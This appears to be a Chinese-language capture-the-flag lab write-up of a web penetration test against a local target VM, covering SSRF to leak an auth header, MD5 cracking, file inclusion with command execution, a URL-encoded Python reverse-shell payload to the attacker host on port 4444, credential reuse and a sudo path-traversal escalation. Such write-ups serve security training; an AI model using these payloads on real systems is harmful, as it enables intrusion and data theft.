Administrator
发布于 2025-12-23 / 1 阅读
0
0

Web综合渗透测试1

测试准备

1.准备一台带有kali的攻击机

2.准备一台目标机

3.两台机器均使用NAT网络,保证测试环境干净

测试目标

拿到目标机三个flag

测试步骤

因为攻击机与目标机为同一网段,所以我们先查询攻击机ip确定网段。

6ab18ede-0ab1-4bcd-b0cf-a55b6dc752ba.png

扫描网段确定目标机ip地址(排除其他ip确定靶机ip为192.168.174.143)

59e59af9-09ae-4a86-8e62-739248ba0f4d.png

扫描靶机ip的端口与服务(发现80端口有http服务)

9d52ebfc-8d02-44ba-818b-5b46bbecef2b.png

在浏览器URL输入"192.168.174.143:80"发现一个网页,注册并登录。

b0a0043a-6acb-45f4-9e99-bd1f34274051.png
4e4771d3-4eca-4da8-bac6-d9f79363b50a.png

登录后发现只有网站测试功能能够使用,其他两项需要身份验证。

e811e917-c17f-4beb-8166-2dad1d7e39bc.png
12663dc2-e2cc-4421-8921-f9b2f73191b0.png
eb0290ab-b873-46d6-9bb4-9f0831eb00b7.png
78dfd631-6e63-444a-82be-95b01135595d.png

访问项目文件查看与文件包含测试都会返回401状态码,但在网站测试功能里则返回302状态码。

我们依此发现网站存在SSRF漏洞,就可以依靠一个简单脚本文件建立一个Flask用户让目标机主动向Flask用户发送请求,以此得到请求头的各类信息,以此访问目标机401的未授权功能。

from flask import Flask, request

app = Flask(__name__)

@app.before_request
def log_headers():
    print("=== 请求头信息 ===")
    for key, value in request.headers.items():
        print(f"{key}: {value}")
    print("================")

@app.route('/')
def index():
    return "请求头已打印到控制台,请查看服务器日志"

app.run(host='0.0.0.0', port=80)
d18395bf-f8af-481d-9542-8203aa58fed5.png

在测试URL中输入Flask的ip地址

5e03f49d-3634-4846-b462-602864188a11-1.png

得到请求头中的身份认证密文并且发现是一个base64编码。

d5f4ecb7-dd9b-4c14-a5f2-b765679d8fab.png

使用CyberChef进行解码得到身份认证信息。

16b1f461-4656-437a-827d-ae5185cde3e0.png

输入账号密码。

06041eb5-468d-4c2a-96c9-0ae819b71a3f.png

发现存在mgmt_page文件,访问http://192.168.174.143/api/mgmt_page,发现源代码中存在五位密码的MD5哈希。

2aaa214e-6ef5-4f3a-82c4-012974fa4648.png

将哈希放入kali中进行爆破,得到密码 SOUTH。

echo 96e44fa82e5a5263fb92337be422d3eb > key
john key --format=Raw-MD5

访问文件包含测试,测试mgmt_page文件包含,发现可以进行文件包含,执行命令。

5e853cbd-31a8-4498-ae5d-981cd2741774.png

因此我们可以命令目标机通过反弹shell连接攻击机kali,从而使kali获得目标机的shell连接。

攻击机监听所有4444端口

f24f1807-13ff-4407-b292-f795ccc6f85d.png

输入URL:

/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.174.142%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

得到shell后在/var/www/中得到flag1{e707593d8a4c4c4db9d4a2f020258e7b}

在/var/www/html中找到db.php文件,里面存在数据库用户名与密码。

7f396290-35ec-4185-9f0e-0fd974d7a023.png

接着进入数据库。

55b5163f-5283-468a-aefe-e40dbda7443e.png

发现users数据表里存在admin用户的password哈希与password_changed_at。

6a29b893-4bda-4c9b-8b3e-6a07509f913b.png

查看web源代码发现密码是通过用户password明文与password_changed_at值拼接,并进行MD5加密而成。

634b54c3-d99f-4fe1-be07-c7e169ec1b17.png

因此我们通过脚本爆破密码。

6d9df117-bcc5-4330-8318-5274e1da6f6c-uuCp.png

得到admin密码为chispa。

通过信息收集,发现一个系统用户为benjamin,通过上面爆破出的密码尝试登录,发现登录成功。

c825a4cc-b317-4c96-b880-8312bc0c0027-1.png

在/home/benjamin/中得到flag2{8437b8760a7a4717ad4e4e1568a9301e}

我们在/中发现flag3.txt文件,尝试查询其内容发现权限不够,因此我们需要提权。

通过sudo -l 查询当前用户被授权通过 sudo 执行的命令。发现该用户存在/bin/cat /root/notes/* sudo权限。

3f9f90a3-6ab4-4aa5-b880-d92a10b10bdc-IyDY.png

因此我们可以通过路径穿梭进行sudo逃逸 ,通过sudo /bin/cat /root/notes/../../flag3.txt获得flag3.txt内容。

047b2767-b6ad-44ff-a137-dc020290f8a1-1-1.png

flag3{1935a1a226564181bb8d4ee15ad73f96}


评论